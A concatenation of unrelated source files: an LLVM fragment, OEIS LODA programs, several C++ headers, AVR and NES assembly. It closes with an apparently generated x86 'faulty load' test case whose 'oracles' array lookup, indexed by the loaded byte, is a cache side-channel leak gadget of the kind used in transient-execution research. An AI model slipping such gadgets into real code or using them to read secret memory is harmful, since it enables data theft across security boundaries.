1) + ": the segment ends at 0x" + Twine::utohexstr(Phdr.p_offset + Phdr.p_filesz) + ", which is greater than the file size (0x" + Twine::utohexstr(getBufSize()) + ")"); return base() + Offset; } template class llvm::object::ELFFile<ELF32LE>; template class llvm::object::ELFFile<ELF32BE>; template class llvm::object::ELFFile<ELF64LE>; template class llvm::object::ELFFile<ELF64BE>;
; =============================================================== ; Jun 2015 ; =============================================================== ; ; size_t ftoe(float x, char *buf, uint16_t prec, uint16_t flag) ; ; (-d.dddde+dd) ; ; An alias for dtoe() since the C compilers do not distinguish ; between float and double currently. ; ; =============================================================== SECTION code_stdlib PUBLIC asm_ftoe EXTERN asm_dtoe defc asm_ftoe = asm_dtoe
; A078683: Least prime of the form n*2^m+1 for m>0, or 0 if there is no such prime. ; 3,5,7,17,11,13,29,17,19,41,23,97,53,29,31,257,137,37,1217,41,43,89,47,97,101,53,109,113,59,61,7937,257,67,137,71,73,149,1217,79,641,83,337,173,89,181,11777 mul $0,2 add $0,1 seq $0,50921 ; Smallest prime of form n*2^m+1, m >= 0, or 0 if no prime exists.
; A231304: Recurrence a(n) = a(n-2) + n^M for M=5, starting with a(0)=0, a(1)=1. ; 0,1,32,244,1056,3369,8832,20176,41600,79225,141600,240276,390432,611569,928256,1370944,1976832,2790801,3866400,5266900,7066400,9351001,12220032,15787344,20182656,25552969,32064032,39901876,49274400,60413025,73574400,89042176,107128832,128177569,152564256,180699444,213030432,250043401,292265600,340267600,394665600,456123801,525356832,603132244,690273056,787660369,896236032,1017005376,1151040000,1299480625,1463540000,1644505876,1843744032,2062701369,2302909056,2565985744,2853640832,3167677801 lpb $0 mov $2,$0 trn $0,2 pow $2,5 add $1,$2 lpe mov $0,$1
#include "lightspeed/base/framework/app.h" #include "lightspeed/base/framework/testapp.h" #include "lightspeed/base/streams/standardIO.tcc" namespace LightCouch { void runQueryServer(); using namespace LightSpeed; class Main : public App { public: virtual integer start(const Args &args); }; LightSpeed::integer Main::start(const Args &args) { ConsoleA console; integer retval = 0; TestCollector &collector = Singleton<TestCollector>::getInstance(); if (args.length() < 2) { SeqFileOutBuff<> out(StdOutput().getStream()); collector.runTests(ConstStrW(),out); } else for (natural i = 1; i < args.length(); i++) { ConstStrW itm = args[i]; if (itm == L"list") { StringA lst = collector.listTests(); console.print("%1") << lst; console.print("\nQueryServer backend: queryserver"); } else if (itm == L"queryserver") { runQueryServer(); } else { SeqFileOutBuff<> out(StdOutput().getStream()); if (collector.runTests(args[i], out )) retval = 1; } } return retval; } static Main theApp; }
; A284016: a(-1)=-1; a(n) = 2*A000108(n) for n >= 0. ; -1,2,2,4,10,28,84,264,858,2860,9724,33592,117572,416024,1485800,5348880,19389690,70715340,259289580,955277400,3534526380,13128240840,48932534040,182965127280,686119227300,2579808294648,9723892802904,36734706144304,139067101832008,527495903500720,2004484433302736,7629973004184608 mov $2,$0 lpb $0 mov $1,$0 sub $1,2 cal $1,132788 ; a(n) = 2*binomial(2*n,n)/(n+1) - n. mul $0,0 lpe sub $1,1 add $1,$2
#ifndef TRIE_HPP_ #define TRIE_HPP_ #include "utils.hpp" #include "action.hpp" #include "action_table.hpp" #include <iostream> #include <vector> #include <algorithm> /** * Interface: * Prefix tree to list all possible actions for each states. * Each inner node contains information for preconditions. * Each leaf holds information of possible actions. * * Implementation: * Preconditions of the action are the characters for prefix tree. * thus the preconditions should be in * */ class Trie { class Node { public: Node() { mMarker = false; } ~Node() { // for (int i = 0; i < mChildren.size(); ++i) { // delete mChildren.at(i); // } } unsigned int precondition() { return mPrecondition; } void setPrecondition(unsigned int c) { mPrecondition = c; } bool wordMarker() { return mMarker; } void setWordMarker() { mMarker = true; } Node* findChild(unsigned int c); std::vector<Node*> findMatchingChildren( const std::vector<unsigned int>& propositions); void appendChild(Node* child) { mChildren.push_back(child); std::sort(mChildren.begin(), mChildren.end(), PointerCompare()); } std::vector<Node*>& children() { return mChildren; } void addAction(unsigned int action_key) { if (!isContainedSortedVectors(action_key, mActions)) { mActions.push_back(action_key); } } std::vector<unsigned int>& action() { return mActions; } struct PointerCompare { bool operator()(const Node* l, const Node* r) { return *l < *r; } }; bool operator <(const Node& str) const { return (mPrecondition < str.mPrecondition); } void buildTrie( const std::vector< std::pair<std::vector<unsigned int>, unsigned int> >& actions, const std::vector<unsigned int>& parents_keys); void printNode(unsigned int depth); private: unsigned int mPrecondition; bool mMarker; // std::vector<unsigned int> mChildrenPreconditions; std::vector<Node*> mChildren; std::vector<unsigned int> mActions; // should this be just a number or actions? void buildTrie(const ActionTable& table, const std::vector<unsigned int>& action_keys, unsigned int n_predicates); }; public: Trie(); Trie(const Trie& other); ~Trie(); // this gonna take some time. // void buildTrie(const ActionTable& table, // const std::vector<unsigned int>& actions, // unsigned int n_predicates); void buildTrie( const std::vector<std::pair<std::vector<unsigned int>, unsigned int> >& actions); void addAction(const Action& a); void addRegressionAction(const Action& a); std::vector<unsigned int> searchPossibleActions( const std::vector<unsigned int>& p) const; std::vector<unsigned int> searchPossibleActionsBackward( const std::vector<unsigned int>& p) const; void printTree() const; unsigned int getSize() const { return nActions; } void setNPredicates(unsigned int np) { nPredicates = np; } private: void searchNodes(Node* current, const std::vector<unsigned int>& p, std::vector<unsigned int>& actions) const; Node* root; unsigned int nActions; static unsigned int nPredicates; }; #endif
; A330067: Beatty sequence for sinh(x), where 1/x + 1/sinh(x) = 1. ; 2,5,7,10,12,15,17,20,22,25,27,30,32,35,37,40,42,45,47,50,53,55,58,60,63,65,68,70,73,75,78,80,83,85,88,90,93,95,98,100,103,106,108,111,113,116,118,121,123,126,128,131,133,136,138,141,143,146,148,151 mov $1,$0 add $0,1 mul $0,64 div $0,42 add $0,1 add $0,$1
; A350109: a(n) = Sum_{k=1..n} k * floor(n/k)^n. ; Submitted by Christian Krause ; 1,6,32,295,3201,48321,828323,16910106,388005909,10019717653,285409876785,8920506515453,302901435774351,11113364096436947,437903477186179875,18447307498823123948,827244767844150424228,39346708569526147402819,1978422359192940464226615,104857800011355463561248453,5842589020063549588537559381,341428040181457419334125357609,20880469790790552823633741445543,1333735935858164587305193853343245,88817843878050308128896013418046102,6156119763674725081503171621759762266 add $0,1 mov $2,$0 lpb $0 mov $4,$0 max $0,1 mov $3,$2 div $3,$0 sub $0,1 pow $3,$2 mul $3,$4 add $1,$3 lpe mov $0,$1
; A066138: a(n) = 10^(2n) + 10^n + 1. ; 3,111,10101,1001001,100010001,10000100001,1000001000001,100000010000001,10000000100000001,1000000001000000001,100000000010000000001,10000000000100000000001,1000000000001000000000001,100000000000010000000000001,10000000000000100000000000001,1000000000000001000000000000001,100000000000000010000000000000001,10000000000000000100000000000000001,1000000000000000001000000000000000001,100000000000000000010000000000000000001,10000000000000000000100000000000000000001 mov $1,10 pow $1,$0 add $1,1 bin $1,2 sub $1,1 mul $1,2 add $1,3 mov $0,$1
; *********************************************************************************** ; ; Blink LED PB0 on an ATmega328p at 1 Hz using timer-triggered interrupts ; to toggle the LED. Assume ATmega328p runs at 16 MHz. ; ; The MIT License (MIT) ; ; Copyright (c) 2020 Igor Mikolic-Torreira ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ; *********************************************************************************** .device "ATmega328p" ; *************************************** ; R E G I S T E R P O L I C Y ; *************************************** .def rTmp = r16 ; Define multipurpose register ; ********************************** ; M A C R O S ; ********************************** .macro initializeStack ; Takes 1 argument, @0 = register to use .ifdef SPH ; if SPH is defined ldi @0, High( RAMEND ) out SPH, @0 ; Upper byte of stack pointer (always load high-byte first) .endif ldi @0, Low( RAMEND ) out SPL, @0 ; Lower byte of stack pointer .endm ; ********************************** ; C O D E S E G M E N T ; ********************************** .cseg .org 0 ; ************************************ ; I N T E R R U P T V E C T O R S ; ************************************ .org 0x00 rjmp main ; Reset vector .org 0x02 reti ; INT0 .org 0x04 reti ; INT1 .org 0x06 reti ; PCI0 .org 0x08 reti ; PCI1 .org 0x0A reti ; PCI2 .org 0x0C reti ; WDT .org 0x0E reti ; OC2A .org 0x10 reti ; OC2B .org 0x12 reti ; OVF2 .org 0x14 reti ; ICP1 .org 0x16 rjmp hdlrTIM1_COMPA ; OC1A .org 0x18 reti ; OC1B .org 0x1A reti ; OVF1 .org 0x1C reti ; OC0A .org 0x1E reti ; OC0B .org 0x20 reti ; OVF0 .org 0x22 reti ; SPI .org 0x24 reti ; URXC .org 0x26 reti ; UDRE .org 0x28 reti ; UTXC .org 0x2A reti ; ADCC .org 0x2C reti ; ERDY .org 0x2E reti ; ACI .org 0x30 reti ; TWI .org 0x32 reti ; SPMR .org 0x34 ; *************************************** ; I N T E R R U P T H A N D L E R S ; *************************************** hdlrTIM1_COMPA: ; Nothing in this interrupt affects SREG, so no need to save it ; Toggle pins. Note that PORTx bits can be toggled by writing a 1 to the corresponding PINx bit. sbi PINB, PINB0 ; Toggle the LED reti ; ********************************** ; M A I N P R O G R A M ; ********************************** main: .equ kTimer1Top = 62449 ; "Top" counter value for 1Hz output with prescalar of 256 using Timer1 initializeStack rTmp ; Set up the stack sbi DDRB, DDB0 ; Set pin connected to LED to output mode sbi PORTB, PORTB0 ; Set LED high ; Set up Timer1 (CTC mode, prescalar=256, CompA interrupt on) ldi rTmp, ( 1 << WGM12 ) | ( 1 << CS12 ) ; Select CTC mode with prescalar = 256 sts TCCR1B, rTmp; ; Load the CompA "top" counter value, 16-bit value must be loaded high-byte first ldi rTmp, High( kTimer1Top ) ; Always load high byte first sts OCR1AH, rTmp; ldi rTmp, Low( kTimer1Top ) ; And load low byte second sts OCR1AL, rTmp; ; Enable the CompA interrupt for Timer1 ldi rTmp, ( 1 << OCIE1A ) ; Enable CompA interrupt sts TIMSK1, rTmp; sei ; Enable interrupts loopMain: rjmp loopMain ; infinite loop
; A239464: A239461(n) / n^2. ; 11,21,31,401,501,601,701,801,901,10001,11001,12001,13001,14001,15001,16001,17001,18001,19001,20001,21001,22001,23001,24001,25001,26001,27001,28001,29001,30001,31001,320001,330001,340001,350001,360001,370001,380001,390001,400001,410001,420001,430001,440001,450001,460001,470001,480001,490001,500001,510001,520001,530001,540001,550001,560001,570001,580001,590001,600001,610001,620001,630001,640001,650001,660001,670001,680001,690001,700001,710001,720001,730001,740001,750001,760001,770001,780001,790001,800001,810001,820001,830001,840001,850001,860001,870001,880001,890001,900001,910001,920001,930001,940001,950001,960001,970001,980001,990001,10000001,10100001,10200001,10300001,10400001,10500001,10600001,10700001,10800001,10900001,11000001,11100001,11200001,11300001,11400001,11500001,11600001,11700001,11800001,11900001,12000001,12100001,12200001,12300001,12400001,12500001,12600001,12700001,12800001,12900001,13000001,13100001,13200001,13300001,13400001,13500001,13600001,13700001,13800001,13900001,14000001,14100001,14200001,14300001,14400001,14500001,14600001,14700001,14800001,14900001,15000001,15100001,15200001,15300001,15400001,15500001,15600001,15700001,15800001,15900001,16000001,16100001,16200001,16300001,16400001,16500001,16600001,16700001,16800001,16900001,17000001,17100001,17200001,17300001,17400001,17500001,17600001,17700001,17800001,17900001,18000001,18100001,18200001,18300001,18400001,18500001,18600001,18700001,18800001,18900001,19000001,19100001,19200001,19300001,19400001,19500001,19600001,19700001,19800001,19900001,20000001,20100001,20200001,20300001,20400001,20500001,20600001,20700001,20800001,20900001,21000001,21100001,21200001,21300001,21400001,21500001,21600001,21700001,21800001,21900001,22000001,22100001,22200001,22300001,22400001,22500001,22600001,22700001,22800001,22900001,23000001,23100001,23200001,23300001,23400001,23500001,23600001,23700001,23800001,23900001,24000001,24100001,24200001,24300001,24400001,24500001,24600001,24700001,24800001,24900001,25000001 add $0,1 mov $2,$0 pow $2,2 lpb $2,1 mul $0,10 div $2,10 lpe mov $1,$0 sub $1,10 div $1,10 mul $1,10 add $1,11
; A011882: [ n(n-1)/29 ]. ; 0,0,0,0,0,0,1,1,1,2,3,3,4,5,6,7,8,9,10,11,13,14,15,17,19,20,22,24,26,28,30,32,34,36,38,41,43,45,48,51,53,56,59,62,65,68,71,74,77,81,84,87,91,95,98,102,106,110,114,118,122,126,130,134,139,143,147,152,157,161,166,171 bin $0,2 mul $0,2 div $0,29
//****************************************************************************** // Copyright (c) 2005-2013 by Jan Van hijfte // // See the included file COPYING.TXT for details about the copyright. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. //****************************************************************************** #include "qbuttongroup_hook_c.h" QButtonGroup_hookH QButtonGroup_hook_Create(QObjectH handle) { return (QButtonGroup_hookH) new QButtonGroup_hook((QObject*)handle); } void QButtonGroup_hook_Destroy(QButtonGroup_hookH handle) { delete (QButtonGroup_hook *)handle; } void QButtonGroup_hook_hook_buttonClicked(QButtonGroup_hookH handle, QHookH hook) { ((QButtonGroup_hook *)handle)->hook_buttonClicked(hook); } void QButtonGroup_hook_hook_buttonClicked2(QButtonGroup_hookH handle, QHookH hook) { ((QButtonGroup_hook *)handle)->hook_buttonClicked2(hook); } void QButtonGroup_hook_hook_buttonPressed(QButtonGroup_hookH handle, QHookH hook) { ((QButtonGroup_hook *)handle)->hook_buttonPressed(hook); } void QButtonGroup_hook_hook_buttonPressed2(QButtonGroup_hookH handle, QHookH hook) { ((QButtonGroup_hook *)handle)->hook_buttonPressed2(hook); } void QButtonGroup_hook_hook_buttonReleased(QButtonGroup_hookH handle, QHookH hook) { ((QButtonGroup_hook *)handle)->hook_buttonReleased(hook); } void QButtonGroup_hook_hook_buttonReleased2(QButtonGroup_hookH handle, QHookH hook) { ((QButtonGroup_hook *)handle)->hook_buttonReleased2(hook); }
/* * Copyright (c) 2017, The Regents of the University of California (Regents). * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * Please contact the author(s) of this library if you have any questions. * Authors: David Fridovich-Keil ( dfk@eecs.berkeley.edu ) */ /////////////////////////////////////////////////////////////////////////////// // // The Tracker node. // /////////////////////////////////////////////////////////////////////////////// #include <meta_planner/tracker_coupled_7d.h> #include <ros/ros.h> int main(int argc, char** argv) { ros::init(argc, argv, "tracker"); ros::NodeHandle n("~"); meta::TrackerCoupled7D tracker; if (!tracker.Initialize(n)) { ROS_ERROR("%s: Failed to initialize Tracker.", ros::this_node::getName().c_str()); return EXIT_FAILURE; } ros::spin(); return EXIT_SUCCESS; }
// // detail/impl/service_registry.hpp // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // // Copyright (c) 2003-2011 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef BOOST_ASIO_DETAIL_IMPL_SERVICE_REGISTRY_HPP #define BOOST_ASIO_DETAIL_IMPL_SERVICE_REGISTRY_HPP #if defined(_MSC_VER) && (_MSC_VER >= 1200) # pragma once #endif // defined(_MSC_VER) && (_MSC_VER >= 1200) #include <boost/asio/detail/push_options.hpp> namespace boost { namespace asio { namespace detail { template <typename Service, typename Arg> service_registry::service_registry( boost::asio::io_service& o, Service*, Arg arg) : owner_(o), first_service_(new Service(o, arg)) { boost::asio::io_service::service::key key; init_key(key, Service::id); first_service_->key_ = key; first_service_->next_ = 0; } template <typename Service> Service& service_registry::first_service() { return *static_cast<Service*>(first_service_); } template <typename Service> Service& service_registry::use_service() { boost::asio::io_service::service::key key; init_key(key, Service::id); factory_type factory = &service_registry::create<Service>; return *static_cast<Service*>(do_use_service(key, factory)); } template <typename Service> void service_registry::add_service(Service* new_service) { boost::asio::io_service::service::key key; init_key(key, Service::id); return do_add_service(key, new_service); } template <typename Service> bool service_registry::has_service() const { boost::asio::io_service::service::key key; init_key(key, Service::id); return do_has_service(key); } #if !defined(BOOST_ASIO_NO_TYPEID) template <typename Service> void service_registry::init_key(boost::asio::io_service::service::key& key, const boost::asio::detail::service_id<Service>& /*id*/) { key.type_info_ = &typeid(typeid_wrapper<Service>); key.id_ = 0; } #endif // !defined(BOOST_ASIO_NO_TYPEID) template <typename Service> boost::asio::io_service::service* service_registry::create( boost::asio::io_service& owner) { return new Service(owner); } } // namespace detail } // namespace asio } // namespace boost #include <boost/asio/detail/pop_options.hpp> #endif // BOOST_ASIO_DETAIL_IMPL_SERVICE_REGISTRY_HPP
#include "stdafx.h" #pragma hdrstop #include "Blender_light_mask.h" CBlender_accum_direct_mask::CBlender_accum_direct_mask() { description.CLS = 0; } CBlender_accum_direct_mask::~CBlender_accum_direct_mask() {} void CBlender_accum_direct_mask::Compile(CBlender_Compile& C) { IBlender::Compile(C); switch (C.iElement) { case SE_MASK_SPOT: // spot or omni-part C.r_Pass("accum_mask", "dumb", false, TRUE, FALSE); C.r_Sampler_rtf("s_position", r2_RT_P); C.r_End(); break; case SE_MASK_POINT: // point C.r_Pass("accum_mask", "dumb", false, TRUE, FALSE); C.r_Sampler_rtf("s_position", r2_RT_P); C.r_End(); break; case SE_MASK_DIRECT: // stencil mask for directional light C.r_Pass("null", "accum_sun_mask", false, FALSE, FALSE, TRUE, D3DBLEND_ZERO, D3DBLEND_ONE, TRUE, 1); C.r_Sampler_rtf("s_normal", r2_RT_N); C.r_End(); break; case SE_MASK_ACCUM_VOL: // copy accumulator (temp -> real), volumetric (usually after blend) C.r_Pass("accum_volume", "copy_p", false, FALSE, FALSE); C.r_Sampler_rtf("s_base", r2_RT_accum_temp); C.r_End(); break; case SE_MASK_ACCUM_2D: // copy accumulator (temp -> real), 2D (usually after sun-blend) C.r_Pass("null", "copy", false, FALSE, FALSE); C.r_Sampler_rtf("s_base", r2_RT_accum_temp); C.r_End(); break; case SE_MASK_ALBEDO: // copy accumulator, 2D (for accum->color, albedo_wo) C.r_Pass("null", "copy", false, FALSE, FALSE); C.r_Sampler_rtf("s_base", r2_RT_accum); C.r_End(); break; } }
; A070960: a(1) = 1; a(n) = n!*(3/2) for n>=2. ; 1,3,9,36,180,1080,7560,60480,544320,5443200,59875200,718502400,9340531200,130767436800,1961511552000,31384184832000,533531142144000,9603560558592000,182467650613248000,3649353012264960000,76636413257564160000,1686001091666411520000,38778025108327464960000,930672602599859159040000,23266815064996478976000000,604937191689908453376000000,16333304175627528241152000000,457332516917570790752256000000,13262642990609552931815424000000,397879289718286587954462720000000,12334257981266884226588344320000000,394696255400540295250827018240000000 mov $1,1 add $1,$0 seq $1,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). mul $1,3 div $1,2 mov $0,$1
.byte $01 ; Unknown purpose .byte OBJ_AUTOSCROLL, $00, $09 .byte OBJ_GREENCHEEP, $12, $10 .byte OBJ_WATERCURRENTDOWNARD, $18, $16 .byte OBJ_GREENCHEEP, $1D, $17 .byte OBJ_BLOOPERWITHKIDS, $1F, $11 .byte OBJ_GREENCHEEP, $2D, $15 .byte OBJ_SPAWN3ORANGECHEEPS, $34, $11 .byte OBJ_BLOOPERWITHKIDS, $3B, $11 .byte OBJ_SPAWN3ORANGECHEEPS, $3C, $0C .byte OBJ_REDTROOPA, $44, $09 .byte OBJ_FLYINGREDPARATROOPA, $51, $03 .byte OBJ_REDTROOPA, $56, $07 .byte OBJ_GREENTROOPA, $58, $07 .byte OBJ_REDTROOPA, $61, $09 .byte OBJ_WATERCURRENTDOWNARD, $6C, $11 .byte OBJ_WATERCURRENTDOWNARD, $72, $11 .byte OBJ_GREENCHEEP, $77, $15 .byte $FF ; Terminator
; A097297: Seventh column (m=6) of (1,6)-Pascal triangle A096956. ; Submitted by Jamie Morken(l1) ; 6,37,133,364,840,1722,3234,5676,9438,15015,23023,34216,49504,69972,96900,131784,176358,232617,302841,389620,495880,624910,780390,966420,1187550,1448811,1755747,2114448,2531584,3014440,3570952,4209744 mov $1,$0 add $0,5 bin $0,$1 add $1,36 mul $0,$1 div $0,6
; A101383: a(n) = n*(n+1)*(2*n^3 - n^2 + 2)/6. ; 0,1,14,94,380,1135,2786,5964,11544,20685,34870,55946,86164,128219,185290,261080,359856,486489,646494,846070,1092140,1392391,1755314,2190244,2707400,3317925,4033926,4868514,5835844,6951155,8230810,9692336,11354464,13237169,15361710,17750670,20427996,23419039,26750594,30450940,34549880,39078781,44070614,49559994,55583220,62178315,69385066,77245064,85801744,95100425,105188350,116114726,127930764,140689719,154446930,169259860,185188136,202293589,220640294,240294610,261325220,283803171,307801914,333397344,360667840,389694305,420560206,453351614,488157244,525068495,564179490,605587116,649391064,695693869,744600950,796220650,850664276,908046139,968483594,1032097080,1099010160,1169349561,1243245214,1320830294,1402241260,1487617895,1577103346,1670844164,1768990344,1871695365,1979116230,2091413506,2208751364,2331297619,2459223770,2592705040,2731920416,2877052689,3028288494,3185818350 mov $1,$0 mov $3,$0 pow $3,2 add $0,$3 mov $2,$3 mul $3,2 mul $3,$1 add $3,2 sub $3,$2 mul $0,$3 div $0,6
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r15 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xbc49, %rsi lea addresses_WC_ht+0x13949, %rdi clflush (%rdi) nop nop cmp $27239, %rdx mov $82, %rcx rep movsw nop nop nop nop and $10315, %rdx lea addresses_A_ht+0x1bb29, %rcx clflush (%rcx) xor %r12, %r12 mov $0x6162636465666768, %rsi movq %rsi, %xmm3 vmovups %ymm3, (%rcx) sub $37563, %rdx lea addresses_D_ht+0xda49, %rbx cmp %r12, %r12 mov (%rbx), %rdi nop add $43207, %r12 lea addresses_UC_ht+0x10c49, %r12 clflush (%r12) nop nop and %r10, %r10 movups (%r12), %xmm0 vpextrq $0, %xmm0, %rcx nop sub $8063, %rdx lea addresses_A_ht+0xe849, %rsi lea addresses_A_ht+0x110d9, %rdi nop add $63373, %r15 mov $121, %rcx rep movsw nop nop nop inc %rbx lea addresses_D_ht+0x1da49, %r10 nop add $33650, %r12 mov (%r10), %edx nop nop nop and $54321, %rdi lea addresses_normal_ht+0x19303, %rsi lea addresses_UC_ht+0x1649, %rdi nop dec %rbx mov $22, %rcx rep movsw and $4269, %r15 lea addresses_UC_ht+0x1b909, %rdx nop nop sub %r15, %r15 mov $0x6162636465666768, %r10 movq %r10, %xmm0 and $0xffffffffffffffc0, %rdx movntdq %xmm0, (%rdx) nop nop xor %r12, %r12 lea addresses_WT_ht+0x9a49, %r12 nop nop inc %rdi movw $0x6162, (%r12) nop sub %rbx, %rbx lea addresses_normal_ht+0x17249, %rdx nop nop nop sub $42570, %rcx mov $0x6162636465666768, %rbx movq %rbx, %xmm1 and $0xffffffffffffffc0, %rdx movaps %xmm1, (%rdx) nop nop nop nop nop cmp $19626, %r12 lea addresses_D_ht+0x8e49, %rsi lea addresses_WT_ht+0x1a8f9, %rdi xor $55191, %rbx mov $91, %rcx rep movsb nop nop nop nop and %rdi, %rdi lea addresses_WC_ht+0x6749, %rdx nop nop nop xor $2442, %r10 mov $0x6162636465666768, %rsi movq %rsi, %xmm0 vmovups %ymm0, (%rdx) nop nop and $56033, %rcx lea addresses_D_ht+0x1df4d, %rdx nop add %rcx, %rcx mov $0x6162636465666768, %r15 movq %r15, %xmm5 and $0xffffffffffffffc0, %rdx vmovntdq %ymm5, (%rdx) nop nop nop nop add $30589, %r10 lea addresses_normal_ht+0xea49, %r12 nop nop nop nop dec %r15 mov $0x6162636465666768, %r10 movq %r10, (%r12) nop nop nop inc %rdx lea addresses_A_ht+0x12cc9, %rsi lea addresses_WC_ht+0x826b, %rdi nop nop nop nop cmp $46128, %r15 mov $25, %rcx rep movsb nop nop nop nop nop cmp $32882, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r15 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_WC+0x1997d, %rsi nop nop nop and %rbp, %rbp movb $0x51, (%rsi) nop nop nop nop and %r11, %r11 // Faulty Load lea addresses_D+0x6a49, %rcx nop nop cmp %rdi, %rdi movups (%rcx), %xmm1 vpextrq $0, %xmm1, %rdx lea oracles, %r11 and $0xff, %rdx shlq $12, %rdx mov (%r11,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 